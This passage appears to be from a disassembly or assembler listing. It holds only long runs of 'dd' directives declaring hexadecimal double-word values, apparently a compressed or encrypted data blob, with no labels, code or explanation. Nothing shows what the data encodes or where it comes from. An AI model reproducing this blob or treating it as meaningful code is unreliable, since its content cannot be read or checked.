		dd 2985325Eh, 0F37E8700h, 0A6FE1C8Eh, 0E6BE89C1h, 0C84EE083h
		dd 890A54A1h, 0B8915939h, 2020A93Ch, 2B228F62h,	52CA019Dh
		dd 0CDE697ABh, 65646094h, 180C3F58h, 0C41FB2Dh,	0F3D000CCh
		dd 1059196Dh, 2001EF02h, 934B3EC8h, 298F7A8Ch, 0C382486Bh
		dd 84A1AA6Ch, 0F08D658Fh, 3B015DA0h, 0A1F9EC66h, 0B024736Dh
		dd 0E7C9004Eh, 40D79BC2h, 3005877h, 63ACCD49h, 121D05BFh
		dd 4155C37h, 858F2EA4h,	50A41D08h, 0E69A0241h, 4A7D3D9Ch
		dd 233762D0h, 59F8F6Ch,	0C5C35669h, 40BE1684h, 0A11374FCh
		dd 3D00AB3Fh, 59783AE5h, 9AE69697h, 0BD2A1BF0h,	32AC7894h
		dd 0AC6F274Ch, 24007969h, 0B48E30BEh, 28CDD8h, 0D65E93CAh
		dd 0AD405C29h, 9AF4F01h, 0A111A989h, 21865442h,	0DECAA559h
		dd 0A0E87102h, 0D47929Ch, 8CDF0081h, 9AA5389Bh,	29C036DDh
		dd 53CED731h, 31E46185h, 247B88D5h, 0FE602D78h,	0D4EF0629h
		dd 1A7FC3h, 2B5BE9E1h, 787AF336h, 0B31F1909h, 5C0C0480h
		dd 0DA109732h, 402A011Fh, 0F2CA2C8h, 0D440EA0Eh, 864435A8h
		dd 38F81890h, 925C0814h, 5A2EB604h, 0C48C97ECh,	0A2008434h
		dd 6717B6B7h, 4870778Fh, 5D163898h, 0D0B01AD9h,	9300BC44h
		dd 86A21B92h, 9982DFh, 0E7C5214Eh, 8852CB3Fh, 0A70CECA4h
		dd 910646C0h, 0F6F71E60h, 0D99EC098h, 0C31CCD19h, 1AE4BC54h
		dd 0A6A54486h, 0D6AEE833h, 0AC4AE398h, 9F0240A2h, 0A9953EB0h
		dd 0C4402EE2h, 0F7003C70h, 0DF411B3Dh, 2EA851A5h, 0E3C5CDh
		dd 0E218E348h, 233E3CE9h, 4C387307h, 5B280087h,	0AB53E1A4h
		dd 0D9DF05DEh, 40108894h, 295DC0B4h, 60986427h,	99119F43h
		dd 60E80008h, 0B120B6B0h, 0B98E09C9h, 0E0418418h, 883229h
		dd 3CAA9A1Bh, 3B040Ch, 0C0B4C4CFh, 409CBE0Bh, 99809CB9h
		dd 36DFAFE5h, 6F8A0753h, 5FBC4B3Ch, 0F6798420h,	390A43C9h
		dd 0AC34E09Ch, 0C3BD84BBh, 0EC88EC53h, 0C111606Fh, 85731BACh
		dd 0D375F002h, 68A2162Ch, 0A9E0A9E8h, 0F44141D4h, 2C316AB5h
		dd 0FBB504Ch, 2C9631Ah,	1D55E500h, 6A008D47h, 0A5B09488h
		dd 54AAD715h, 57544E1h,	2CF71DC8h, 0D234480Ah, 512C1490h
		dd 0BEDE051Eh, 17E8206Ch, 0AF283BABh, 0C600A40Fh, 7693CB64h
		dd 727D77h, 0E8AAA934h,	799C31FFh, 0DBD9B51Eh, 2A198D80h
		dd 0E93F963Bh, 0CE24D862h, 30B5004Ah, 4BDA0336h, 5931A87Fh
		dd 961E21A9h, 8624B834h, 0C1036B42h, 0DAEBD5C6h, 6DB0CF93h
		dd 0FF022098h, 9912459h, 0A3B840C5h, 0E31800Dh,	296459C0h
		dd 0C79346h, 0EF6F6699h, 55AA3476h, 9138FF00h, 5284A3F3h
		dd 4E41008Bh, 22B4C5F9h, 927D1C7Ch, 0B8177F77h,	7C09C9CDh
		dd 8A341B7Bh, 18982C07h, 7728F892h, 0C5EAB085h,	0ECCF871Fh
		dd 99D79709h, 96ECCBA0h, 964C9C5Fh, 0F094232Dh,	3DBD0F8h
		dd 4663EC13h, 82107808h, 6F9551CAh, 2CD2D8E0h, 16E47253h
		dd 8022A004h, 5C622067h, 871D18BAh, 5E005B83h, 7EFE9EC2h
		dd 0FA3807A5h, 23EAC4CCh, 4824834Ah, 8E11F040h,	495A6F1Ah
		dd 0E0E99AC0h, 0C5F58701h, 30884F4Eh, 2480CE4h,	695F29CDh
		dd 5041D534h, 17B31024h, 6EEE000Fh, 0F0FCB2C7h,	90148419h
		dd 0D484BDA2h, 208825BCh, 0EA552754h, 7AE9030Fh, 2C9F29D4h
		dd 1D99B680h, 46C48F0Ah, 0EC085482h, 94A680A4h,	7A7E8843h
		dd 0E8CC550h, 0C610A942h, 7070249Fh, 0A424F91Eh, 39000691h
		dd 203A3433h, 6B09EDD5h, 149B8B92h, 71F082E0h, 0A320828h
		dd 24CA6880h, 13A3317h,	84E09DF5h, 3949C844h, 80AD3DA0h
		dd 56DFC1FCh, 7B4C7CEh,	4B2EFED9h, 74E1E141h, 845428DEh
		dd 53046D65h, 6F24B4EEh
		dd 7F791460h, 74A319h, 5530F695h, 8C81A5BEh, 0D821584Ah
		dd 0A0289A28h, 7CEC9E81h, 2CA90310h, 8FC7E51h, 41052DD9h
		dd 0CA2E532h, 2F3A1A0Bh, 9668440Eh, 53436444h, 44A5A091h
		dd 16817D24h, 3379E030h, 6E7A007Ch, 0C4130DDBh,	0EB1EE5B1h
		dd 1249593Fh, 7C809088h, 0B25260D1h, 0E3699838h, 2580989Eh
		dd 53E23973h, 71966587h, 0CB84206Eh, 0CE01F6C6h, 5E7DCA91h
		dd 5464BF41h, 3578A8A2h, 7FA68042h, 0B200B679h,	4094C1C9h
		dd 12871DCBh, 47A4F2Ch,	0C846E014h, 71E6D0ACh, 0AAED0C00h
		dd 0BCCCB05h, 6878007Ch, 528976C9h, 9433B121h, 1736D1F3h
		dd 30819850h, 0E894F8E4h, 0AEFB2000h, 0BCB491B2h, 10D4CA2h
		dd 4038404Ah, 42F627ABh, 31D54702h, 82F797B6h, 1194FBBCh
		dd 0D22D124Ah, 82D200D4h, 69D073F3h, 20EDED54h,	0DC9AE96Ch
		dd 0B0B95311h, 40046F26h, 614EC938h, 2009E7E0h,	80217CD0h
		dd 0BE1CFCEh, 118C0003h, 0FFB8ECB9h, 730ED0CAh,	529695F3h
		dd 0A4537420h, 0D559C4E5h, 0EC7A58ABh, 4F58A9F7h, 0CEA35310h
		dd 28D718A0h, 0BC41F689h, 0D035278Bh, 0A06BA45Fh, 0D6B7DC18h
		dd 0AAC05211h, 9058A60Dh, 0D5FBE041h, 6CC82712h, 5A300497h
		dd 0BC1CF8Fh, 0A961267h, 2BC03403h, 8C591CDAh, 9049CA89h
		dd 731F5C0h, 0D0958084h, 7D87907Bh, 126046C3h, 0E8680F21h
		dd 90614C8Ah, 2E409E28h, 97840D0h, 8809430Dh, 5FFCDC44h
		dd 65CD1300h, 0C4BD223Ch, 597039FBh, 3F31AA00h,	2D981748h
		dd 0D044E0D3h, 3021A9DEh, 0C47102A0h, 0C1D306C8h, 70694F27h
		dd 85AA1D2Dh, 0F8B44ECCh, 53923722h, 49878039h,	4E31C6BDh
		dd 2433215Ch, 15ADB98Eh, 130C8FC0h, 1A0462EAh, 3050F5C8h
		dd 535AB8C0h, 0E42284CAh, 20B14A12h, 0A7F3241Ch, 0C4551C00h
		dd 52C1959Eh, 0F1BF3FC9h, 44C812A8h, 0F80020D5h, 97FBF5EDh
		dd 4663426h, 31681094h,	77248154h, 886B085Eh, 69C0052Dh
		dd 96C8BBADh, 4019084h,	1CBDEE8h, 39ECD1B6h, 89F901C9h
		dd 0C2A0542Ch, 2CBA09F2h, 1161C421h, 4433243Bh,	2D7DA340h
		dd 46F2EFh, 27774FE9h, 81A9941Ah, 0B4587B2Bh, 0B0952F81h
		dd 0FC2429CCh, 6CBC2DD0h, 0B7AC98A0h, 13249099h, 0E310EC11h
		dd 1A9237C8h, 9A53880Ah, 58448828h, 0F33A1C42h,	0AA1A000Bh
		dd 334D83BCh, 0F6EBBE02h, 0C043CCD4h, 0BB8AA4h,	0E4AA9464h
		dd 37BE6FCDh, 0F425B81Fh, 40212C09h, 3C769C6Ch,	7CC828A9h
		dd 0F3CE2A5h, 40B2C8D8h, 0D5A266F8h, 3E5CFE8Ch,	0E10045EAh
		dd 2B259846h, 0D45EE55Fh, 149EB00Bh, 900B4E4h, 0C0C86F06h
		dd 0F61D3D07h, 0FC14B0Bh, 0B1D58D90h, 6FAC60F2h, 6075057Fh
		dd 0D2C93AA2h, 0CD187668h, 4DFB809Fh, 48595E44h, 0D9FC48Fh
		dd 41194261h, 2479B584h, 7588AABCh, 0E8D0FE87h,	0DBC60274h
		dd 0A1E6CC10h, 53335CB8h, 0F36ABCA8h, 937B7277h, 64511900h
		dd 49F94D8Bh, 0E196166Fh, 863444CFh, 0A2C424EBh, 0E4D4DCh
		dd 93672E0Bh, 4B570FB2h, 84895C80h, 0E196A933h,	27E7A9E8h
		dd 94BE818Fh, 0C992ABh,	3009A446h, 815BD100h, 912D4E2h
		dd 52BF0E8Ah, 3980D28Ah, 0BABE80FCh, 0C021DB00h, 63FA20F1h
		dd 9C402C0Eh, 3DD40A71h, 4B003E85h, 4AB792D1h, 1879AEA5h
		dd 0A0471E16h, 5E7A400h, 2DCE1BE2h, 74203331h, 632EDB7Ch
		dd 415C71F5h, 82C44A4h,	9059885Ah, 0E8B1E261h, 19806688h
		dd 0CF1525BCh, 7027E02h, 95EC9349h, 8BEF6105h, 4C7D9C34h
		dd 140B64DFh, 4898F73Ch, 5814A2AAh, 402C39A9h, 9924F8C4h
		dd 0A43A6C97h, 5950E82Bh, 0BE44948Bh, 0C106215h, 298F8974h
		dd 90A9CE7Ch, 86C932Eh,	5D057921h, 4842E83Dh, 402DA542h
		dd 84965BE8h, 81F66F44h, 0E0706437h, 0B5E7E307h, 0D930771Fh
		dd 7E8AD4ADh, 4264B04Fh, 8F7F02CEh, 79C53BA5h, 0E89866B4h
		dd 4484307Bh, 8A3E229Ch, 134AB9h, 4AAC88h, 0EDB08BF3h
		dd 0F5F170BEh, 0B7F0B907h, 0C220D7E3h, 0A9D40A6h, 0DF2CCA28h
		dd 0C0BE8088h, 1CA1F780h, 3FDEC700h, 0FCA86C07h, 189716Bh
		dd 8AE7B89Fh, 3D9B405Bh, 6088D2A8h, 44EE61h, 8F13B96Fh
		dd 822CD38Bh, 0FA91EC91h, 9194E440h, 1902C7Ch, 986FE4B5h
		dd 0DA826062h, 0F406CD5Ah, 62D9762Bh, 1198F023h, 0C019A603h
		dd 4AC0401Ah, 9DD822DCh, 8089F4E2h, 96833C01h, 4DB026E6h
		dd 2BD41004h, 4CE9DE8Bh, 88D422A2h, 2CFB8BBAh, 0DA00A016h
		dd 880C5EB5h, 21B3AEFh,	0DFEE3B91h, 44647034h, 2A00DD7Ah
		dd 9131E779h, 0F9C32763h, 4DA71420h, 92C0FC82h,	7CEF3E42h
		dd 7B741E00h, 50B6EA0Fh, 0A862017Eh, 20CA63F8h,	0E4444479h
		dd 0F500B14Ch, 322824EEh, 0B3818Bh, 7D259D14h, 0FBF727B2h
		dd 0DC3B8E28h, 0C9A09486h, 8BE74A53h, 4893D5A9h, 1EE4F9E0h
		dd 0AACCF605h, 842C7198h, 22816C64h, 6843A4A0h,	1C48C97Eh
		dd 0A3E040E8h, 80E5DFC1h, 0DE11EE00h, 304FFA4Bh, 2D8D3FD4h
		dd 0BC39CBFh, 98BEB925h, 161A18h, 0F68F9707h, 90661CDAh
		dd 0C756E71Fh, 49AFAB4Fh, 4AF8608Bh, 854484A2h,	1524A071h
		dd 0EDF3006Bh, 417CB6B1h, 0FF098768h, 0E6637F60h, 0CDF5E974h
		dd 0A4FED7D4h, 0FE0BFCF0h, 9B5A075Dh, 21909473h, 34A8058Bh
		dd 0FF41BCh, 0C9E1A453h, 38936F49h, 0DF3306A0h,	7A965617h
		dd 0C321C830h, 5F6016A8h, 0A124324Ah, 9C5A7E21h, 616CDAEAh
		dd 0F4BA3972h, 193E2083h, 0BB3F4B00h, 0B2FD5F9Ch, 0E1170187h
		dd 0A3925ADAh, 0DCE9E22Ch, 3FCC23E0h, 7A00F541h, 0BC99FE3Eh
		dd 2ACB319Ah, 2C4C7D94h, 0C019h, 4BAB2BF6h, 252F15AAh
		dd 6FF88280h, 1060E595h, 0B9B08F9h, 0D11CAh, 0E7845D05h
		dd 25355491h, 483995BEh, 542D6Ch, 5DBF94B7h, 0FA0FB825h
		dd 2160008Dh, 86BE55F9h, 641217D0h, 0D831BCA9h,	59011E4Ah
		dd 10F433A4h, 9E88DF1Fh, 0B17143h, 0B3304B69h, 0F3FCD7BBh
		dd 98E3A701h, 0C26C4F04h, 39080FF8h, 78128DB9h,	0CB6CE047h
		dd 38228E2Ch, 644C8949h, 0A45B0450h, 0A98F0E19h, 54D08A78h
		dd 0D4613D93h, 0D5002C80h, 49C326ABh, 299C053h,	0C9CAA641h
		dd 6CE03833h, 761D4391h, 0C8C26C23h, 21D38F52h,	4124C0D5h
		dd 109F8520h, 91BA5F59h, 8A459028h, 0CF003834h,	0BF9DCA9h
		dd 749158D0h, 0BCAB5876h, 0E2704100h, 0D684FD06h, 20211A01h
		dd 0A151BF32h, 4F0A2360h, 3F0C0838h, 2D454B64h,	38B847DFh
		dd 0C0B5B706h, 750B7C05h, 0E1CFFF00h, 0D5509DACh, 0F5D22876h
		dd 89882C88h, 549BE05Ch, 0D7007411h, 4181C6D8h,	42F50C8h
		dd 6EE97540h, 6A6280C3h, 40B1DCCFh, 52C97F82h, 0C4C493A3h
		dd 5872BD02h, 5944BA24h, 0A06CBCA2h, 0B131535h,	2BBD6D73h
		dd 0D74528E8h, 2DEDAE00h, 0DD219F8h, 0FF4600ACh, 0A993E92Bh
		dd 60C35375h, 0A43497E8h, 0A4D12A00h, 5E0B47DFh, 92AB9698h
		dd 8C79E4h, 0BBDB33F4h,	0F500821Fh, 973C2CE7h, 86C4899Dh
		dd 8395F319h, 0BC334CC8h, 36506522h, 3B4084A0h,	289D5A9Ah
		dd 0CF606C58h, 0DA27E7E1h, 1BC400FAh, 7F7122AEh, 0C83DA6E0h
		dd 962D7FC7h, 4644A2ACh, 8F042023h, 9909CAAEh, 41C3C549h
		dd 390CFE7Ch, 88124244h, 47050C1Bh, 7311C6EAh, 4DEDE483h
		dd 7222E431h, 3C08CA5Bh, 51EC61A6h, 13C07342h, 6C82CDE9h
		dd 3C8C1968h, 5288A2B4h, 1FE70340h, 0C7D3D245h,	3B490F98h
		dd 6A15E04h, 0CCCC65B8h, 0FE94000Eh, 178F609Ch,	7098CAA5h
		dd 44840B73h, 8F091AC3h
		dd 44A9F1C4h, 42332514h, 3664F830h, 5204D1F2h, 0BDBECF5Dh
		dd 2A1A4B8h, 840804A0h,	0B4339315h, 4200D038h, 4DC056FCh
		dd 9E7D5F2Bh, 0A31D00E8h, 84BB76D6h, 53C2A604h,	4CCB092h
		dd 2D2D890Fh, 1622018Ch, 6090EF9Ch, 42A0DC60h, 25C2222Bh
		dd 0D4169C59h, 96CC0600h, 0DC344754h, 0A01701F4h, 0B1E84D5Ah
		dd 0E30511FFh, 3B88404h, 0B4C7CA1Ch, 0D0B59899h, 0F816DC1Dh
		dd 8C8B414Dh, 404C6D24h, 330264Bh, 1405A7B0h, 6ED99645h
		dd 956CA8E4h, 912D74A0h, 20005F13h, 5695DE87h, 3BF74428h
		dd 0B8820297h, 0A1496336h, 0E440785Eh, 79416420h, 8F8500B2h
		dd 0B0E118F7h, 0A15D2122h, 9F042168h, 8BC930CEh, 9248961Ah
		dd 0B64EB088h, 5CB73A93h, 94BF1489h, 0F1E53C18h, 79196403h
		dd 8852513Ah, 14D63985h, 0E8499F29h, 0CE260075h, 0D1BAF6DEh
		dd 7A01BD59h, 4047EB56h, 72F0459Dh, 1628F020h, 0C0860D38h
		dd 0CA905980h, 1044D4A6h, 47A904D1h, 0A4C5F912h, 5986B868h
		dd 0B4843C6Fh, 0D1C0483Eh, 44282E97h, 0EFFE88B1h, 4E31AF00h
		dd 2FA5D203h, 82FC51CEh, 6D95F03Fh, 100CFF58h, 0C488951Bh
		dd 186FBE89h, 2DCF30h, 9572E85Bh, 45E4358Bh, 90414E24h
		dd 1774C514h, 0A088CB3Fh, 304A016Eh, 0AFF00976h, 0B41D2EC0h
		dd 1D27DFD0h, 0E0008C4h, 0F4CCB553h, 75DB2C3h, 8274EE30h
		dd 0AB3AF0CEh, 8B39C131h, 95032D4h, 121458C8h, 30ED7444h
		dd 0E6A4B920h, 14C7E81Ch, 0EF9DF907h, 0E7749E10h, 51920987h
		dd 88829596h, 8910EC76h, 40E89641h, 8ECC9C17h, 8C04B914h
		dd 9B7E09C0h, 0EDD498B6h, 402D4EC1h, 6A159CF0h,	2216B54Eh
		dd 76054011h, 842030EDh, 0F8C84C42h, 8C2D0564h,	3203EC5Fh
		dd 46593B8h, 27140200h,	922687Eh, 0CE69A989h, 9654A0F0h
		dd 0D10037FCh, 3B39DFF2h, 0FD215Ch, 944B9EB6h, 2CC7A2ABh
		dd 8F889197h, 0DF009D18h, 7D0105ECh, 0E00222B8h, 2C6E03F2h
		dd 13889743h, 9C5F3900h, 45ACA10Dh, 9DA7ADFh, 0B162FB23h
		dd 91083479h, 57F68999h, 350FC08h, 0E47F78BFh, 1980B098h
		dd 0FA6E6D0Bh, 0F81880F0h, 1043476h, 0CAA7052Bh, 80749F2Ch
		dd 0C8E43FA1h, 483E5960h, 0F180A046h, 0D0396EA8h, 47702800h
		dd 0FF0A7980h, 0C490134Eh, 8E3830C5h, 0EB07CB60h, 3778BE3h
		dd 487EC2D0h, 2D3B00BAh, 0D3620CEAh, 5827A738h,	0A06464A6h
		dd 20F88D08h, 9046DECDh, 6E965E1Eh, 72A54014h, 301C069h
		dd 9CE740D4h, 0E02196D5h, 5CF81B30h, 34250431h,	0A9B6068h
		dd 7A3DB77Eh, 42E18073h, 0F09A3967h, 14885C8Ch,	2778912Eh
		dd 800FF0B9h, 0D4527C41h, 45A5624h, 2C4DC713h, 0C814ED63h
		dd 0A4368074h, 0BD13EEB9h, 58A6070Fh, 0D4A2B2E3h, 0DD00803Eh
		dd 82139DFCh, 5E0097A2h, 81E18BCFh, 0C1D88898h,	76C7CBC1h
		dd 0D458E6E5h, 44743A42h, 558E88Bh, 103059F9h, 8A8A8F3Ah
		dd 91D58BA0h, 222DD069h, 6E600F88h, 0DC97803Eh,	0AA9F2B56h
		dd 227098E0h, 3F580052h, 9EF95065h, 6800DCDBh, 0F2EC1197h
		dd 9DF738Fh, 0E242248Dh, 0AC17CCBh, 0C453E138h,	0C84C35E0h
		dd 0B71ED384h, 25789AA8h, 521E537Dh, 3074FDDh, 6510D8DAh
		dd 13A03AA7h, 0B53BA959h, 0C825CC48h, 21BC80A3h, 8722FA9h
		dd 0DC674E7Ch, 6507E7D0h, 116F9F78h, 85EC2B10h,	0A9D61E2Ch
		dd 9E59C9D0h, 880E24D1h, 0B8B1B340h, 42EFC420h,	626022C0h
		dd 0A66440F6h, 0FC440Bh, 0A3B8F418h, 68E65EA8h,	0EC4AB600h
		dd 98134280h, 79910BB2h, 54929396h, 440E7456h, 33402197h
		dd 188082FDh, 0A906E8C5h, 9E0A093Eh, 0E89855FBh, 0A1C81210h
		dd 781A941h, 5E172852h,	3804F6Ch, 0E009AC9Ah, 0AF38BB0Fh
		dd 0ED1C75Ch, 0FB3EF3F1h, 1AC5C2C4h, 0D1A92C90h, 90FA0042h
		dd 0B6628400h, 77814F69h, 4D6F0757h, 0C148F4AAh, 0CD2B2CCBh
		dd 22183829h, 0A82F162Ah, 4F8CB484h, 0CF821613h, 4B0124E2h
		dd 0B8D7F7ACh, 762FC055h, 700E3E8h, 0D7569EEh, 917063E6h
		dd 53F0014h, 65CDB7D0h,	49C83907h, 42A08DFAh, 0C11904Fh
		dd 6DAD291Ch, 5B0987B1h, 0E8ACA576h, 4F669320h,	0A298D8ECh
		dd 40780F45h, 0E63036C7h, 140B1889h, 5029FE62h,	0AC944828h
		dd 0EA021358h, 7B539D3Bh, 0A402905Ah, 23E98CCAh, 44C05838h
		dd 4B00F910h, 90F4CEDBh, 0D0468FE9h, 3D004421h,	6C5191D2h
		dd 0D900804Fh, 704DD12Eh, 3DF8908Eh, 878026BDh,	0ED0E333Dh
		dd 0F8A929C4h, 249C39E6h, 6C41BC1Dh, 23F2D942h,	5AF83825h
		dd 1F27C796h, 51B0C613h, 0BF4B6EEh, 0B4C5007Ah,	8C1E8DB6h
		dd 1B152B51h, 908D889h,	4888A113h, 0A3A2B0h, 11CF253h
		dd 6A578296h, 8E2AA11Dh, 0DDEBEE84h, 0A21C34A3h, 0C2414086h
		dd 27423980h, 0BC4F2F00h, 841C6D4Ch, 0FC24005Ch, 979C411Bh
		dd 8D1C3253h, 0B040D190h, 3A9485C7h, 13A0FA40h,	0D06CBF1Dh
		dd 120F74DCh, 1CD51B00h, 0CDD0643Bh, 0F4F009h, 0A6CBC3BEh
		dd 0C4D39956h, 10333226h, 89A896h, 9244476Ah, 0A7BDC0DAh
		dd 3D3CF2BAh, 365F96D1h, 8F0B2C08h, 334B71F6h, 0E698E480h
		dd 784F68B4h, 10119C92h, 70883591h, 17B060Eh, 21DED533h
		dd 0A7ECCA0h, 0E7C1D706h, 198E88h, 9641BA8Bh, 39BB246Ch
		dd 1B14AB1Eh, 0E0EEB30Eh, 6AC63D0Fh, 14B16Fh, 0DB6337DFh
		dd 0A5009FF7h, 7918B2Eh, 82347A78h, 1200A052h, 5855320Fh
		dd 49A1BB9Eh, 0D5844020h, 1AD0C8ABh, 0C0648505h, 9416E226h
		dd 8654F4CCh, 6B009142h, 188EC9B2h, 161CE996h, 0E0AAA99h
		dd 7E41D0ECh, 7C409D34h, 3E483E7h, 3C748E14h, 62A287C5h
		dd 0B8643860h, 0ACFB0601h, 7C9253E0h, 0A46F4193h, 6700A80Ch
		dd 0DFE96171h, 0E905FF46h, 2FEC4DF1h, 0CA6B0083h, 0AD961F22h
		dd 70C6378Ah, 3BD6E4ECh, 3AA5F297h, 38EF7000h, 0DE7DCE44h
		dd 4BDC913Fh, 263154C1h, 0A2D1A98Fh, 28EED6A0h,	0D41FE6A8h
		dd 1C425F3Eh, 0F2AB96E8h, 4B649878h, 807CC4EAh,	6D224808h
		dd 0F8C0CA5Ah, 20B98A21h, 930A3824h, 9C0649CBh,	0D9489A80h
		dd 13404AFh, 0F46C9784h, 60A063D0h, 990D1FD8h, 0A9355F68h
		dd 0C080003Ch, 61AB75BBh, 5F932524h, 531A7480h,	2AF21BFh
		dd 0C8E02C44h, 0EC714DC6h, 87FAA500h, 59FCA95Ah, 0F1C0E49Fh
		dd 38A27C7Ah, 36152B00h, 0A00F6458h, 4EE4F16h, 3370F224h
		dd 7F592D92h, 0B0387C10h, 418F5A00h, 6FB9C436h,	0FDDC0388h
		dd 2D07151Bh, 11CC47A8h, 83ACF400h, 4DA9A4D0h, 0A14600A2h
		dd 7588D37Dh, 58B2828Bh, 87114712h, 788F4h, 681F6B10h
		dd 9AA5C598h, 708FC126h, 0ECA2AA17h, 7FA7140Fh,	6FE120E0h
		dd 19C0D846h, 0CDF03E04h, 0E2706Eh, 8E7EB240h, 618F69F8h
		dd 0BDF16B09h, 0C7F90F43h, 3B77BF47h, 3C6F6DE0h, 2DB700F7h
		dd 79A55377h, 5700BA58h, 0A3487E89h, 0FE6093A9h, 32A002F3h
		dd 0E83D7094h, 718304F6h, 0E8637341h, 10FD030h,	6657C8ECh
		dd 0BDAB6D94h, 771000D9h, 0B6E025Fh, 0D0620252h, 360AE679h
		dd 2AE4F061h, 3FA56020h, 89465BAFh, 32CFC78h, 5069FD00h
		dd 998B60C6h, 0CBB50288h, 79EED4C3h, 6E4720E0h,	0DE9A64B6h
		dd 386651h, 6D65849Ch, 7D07BA02h, 37CD8500h, 7EF63E77h
		dd 3BDB26B3h, 2E040B08h, 0CE02807Ah, 3202260Ch,	74E636h
		dd 514A9A67h, 81B8CDADh, 0D588E6A0h, 0C68751Ch,	37090E66h
		dd 0A7D000CBh, 1779AB19h, 81C574CEh, 403DD888h,	60DBB6E0h
		dd 78FB002h, 7590CB40h
		dd 704C0041h, 5494D7B8h, 0BA87BE81h, 206B5376h,	0A5E1A7A4h
		dd 0EEC46600h, 2940F1BDh, 69E80C12h, 1E398A58h,	4A1F9704h
		dd 54D4959Fh, 0D582C8ECh, 0B0747A5Eh, 4A597546h, 344C906Fh
		dd 9E00C6B1h, 0F452576h, 81214Eh, 0A61C9C3Ch, 0C72D7A84h
		dd 98E891C9h, 3D23ECh, 51171432h, 415A0A8Fh, 0E96339h
		dd 61B4D93h, 1212C48h, 50B8284Bh, 0E4EAC556h, 0BC90713Bh
		dd 7899A498h, 0D3FA4780h, 0CA651Dh, 6E8337A8h, 807C4D21h
		dd 6B172400h, 0C6F17E63h, 460FF1Fh, 6AF40328h, 61A42086h
		dd 0A889DDB2h, 0F8CCAC18h, 0AC18E200h, 0DD4114C7h, 6734005Ch
		dd 9947E491h, 1899122Ah, 2570D287h, 5CB38EC0h, 110726E0h
		dd 9EE907ADh, 90D4E47Bh, 51901334h, 55F65Ch, 8159A8AAh
		dd 0E4AE2AFFh, 0EEF824DEh, 913A0744h, 4039E755h, 628E24Ch
		dd 2100547Dh, 0D2B26D8Ch, 766D5E0h, 7E103F80h, 305F3057h
		dd 4C0C62FAh, 85A231Eh,	0B1E5003Ah, 445D1C70h, 4900CEDEh
		dd 0D28AD838h, 0C1B6CECh, 1DE3E201h, 0C33E1E68h, 50240048h
		dd 0F7304468h, 3D51C863h, 0EF425A80h, 1F949AC0h, 8372C17Fh
		dd 906D8E71h, 2C164BE8h, 27C30900h, 6FED06D9h, 0DE81987Ah
		dd 4BEB0C61h, 0E3744E1h, 498761C3h, 0F0831244h,	41210072h
		dd 58529B8Ah, 32304424h, 33C71934h, 735302DEh, 368BBDA3h
		dd 77B8B321h, 14E94C8h,	2DC1B716h, 9463550Bh, 314E478h
		dd 38897ECh, 0F817B0B6h, 0ED1C0A78h, 610A811h, 9889F02Ch
		dd 0E777D800h, 0E2EB1F24h, 3CBA0023h, 121D62D4h, 29004ADEh
		dd 0E1E3D349h, 0A88CE980h, 54543158h, 77E055h, 0C1A2EB4Dh
		dd 0FB89C9E3h, 15B70300h, 0CF6C8BD9h, 64C42A53h, 0AAA00F84h
		dd 43AEA6C5h, 0CC093C80h, 2E0045E5h, 93DFA14Dh,	0C3462DCEh
		dd 42A3A711h, 53032906h, 0F070B6h, 373B0A3Ah, 0A5D4201Ah
		dd 4E228201h, 0CB03AC73h, 6D4CE980h, 0AB64D35h,	0F6E3BE0Ch
		dd 0C02D1928h, 89E21EB9h, 0E6076A35h, 3FD66D97h, 5CA80FF0h
		dd 0AD9C00B9h, 9AF0E3EBh, 29022DBh, 18313B78h, 84A5119Bh
		dd 0FB591440h, 4430A10Ah, 7DB11410h, 0CF96AE06h, 1212450h
		dd 0F73E033Bh, 0E03CD1C3h, 27FABBFAh, 86484DF6h, 46BD104Ch
		dd 28172200h, 323F47C8h, 9ED1A0Ch, 6055E178h, 2F665110h
		dd 0D900ABEBh, 760CE98Fh, 60517D29h, 6FC0210Fh,	0BCFC99F7h
		dd 0DB78DEEEh, 1DB8B4E0h, 8286E300h, 37123F93h,	5A5B001h
		dd 0E8546359h, 40641D2Ch, 1278B5B1h, 0A9009651h, 1C7A3B1Bh
		dd 35AEC9Ah, 0E8AC5D0Eh, 888CAB8Ch, 844B10h, 890C649Eh
		dd 0E505C822h, 0FE623F1Eh, 1D7D9C00h, 6BAB08h, 0A6C08470h
		dd 38B3390h, 8EEC1F1Fh,	289B287Ah, 0AA80A084h, 0D80097CAh
		dd 0D9600EABh, 21F5C4h,	0BC040211h, 0BE3078Dh, 0A5312961h
		dd 1C24A61Fh, 827E07F0h, 478EEB85h, 22A085FCh, 0F2158A8h
		dd 0B6DC3FE8h, 0D4730050h, 2D76E9A8h, 1C00BDF9h, 0EBBA835Ch
		dd 0A067A36Bh, 0A2530A2Ch, 4DDA8138h, 0A0F78CEFh, 3C3A43Bh
		dd 43592F61h, 71003532h, 458601FAh, 6CE4FCBh, 23184C8Ah
		dd 0BF005198h, 56C5B309h, 79548B7h, 6D917576h, 0AB8AE169h
		dd 98B45013h, 0BE887AE3h, 1649911h, 0B28AF865h,	6B68C01Dh
		dd 8097FA3Dh, 2AD54336h, 0E0B4C1A4h, 0EE5F0688h, 78A875C9h
		dd 976EC301h, 0B9F2921Dh, 8F124880h, 0AFF53282h, 9D41393Fh
		dd 0EB821A31h, 996BA84Fh, 0D60C3780h, 30E4E42h,	0F860758Fh
		dd 0A72792A4h, 0EA224898h, 9E7B3D31h, 0E02281F4h, 6D310E3Eh
		dd 7D32C940h, 0E1DD2980h, 0EBA803ECh, 0C9006E73h, 632B2096h
		dd 2F512AAh, 5EE8FD2h, 0F864E2CCh, 80109A3Ch, 0B59D7BBh
		dd 28BF8h, 317B844h, 0E5BF97BDh, 8940B007h, 99713BEBh
		dd 32E9CE5Bh, 260D1FE0h, 0BEA14D8Bh, 382D318Dh,	1228C059h
		dd 0C8C3C50Bh, 819D8E32h, 4296E1CDh, 93A8C20h, 39DEB798h
		dd 920A38B8h, 97190201h, 77A9F65Ah, 0E84124E5h,	0AC32ADF3h
		dd 0A4262Ah, 96DA3789h,	7EAAB84Fh, 8EC8A848h, 8C622AEDh
		dd 9E6E0FBBh, 849F2D3h,	2D6410FAh, 0D631C036h, 0F7F26234h
		dd 0BF90831Dh, 63400880h, 2C7FA3E8h, 94AC959Ch,	0C900F433h
		dd 0BE3198D5h, 0D173ACB4h, 0E97D5916h, 1901C30h, 0BF100C6h
		dd 10379CC9h, 9B005BE5h, 400C2959h, 2A4E288Fh, 998897A9h
		dd 640487D8h, 29F740F6h, 0A400108Fh, 56152DAh, 67BCF3Dh
		dd 0D7A9B647h, 4F063835h, 2B125642h, 0B85324C8h, 407E640Ch
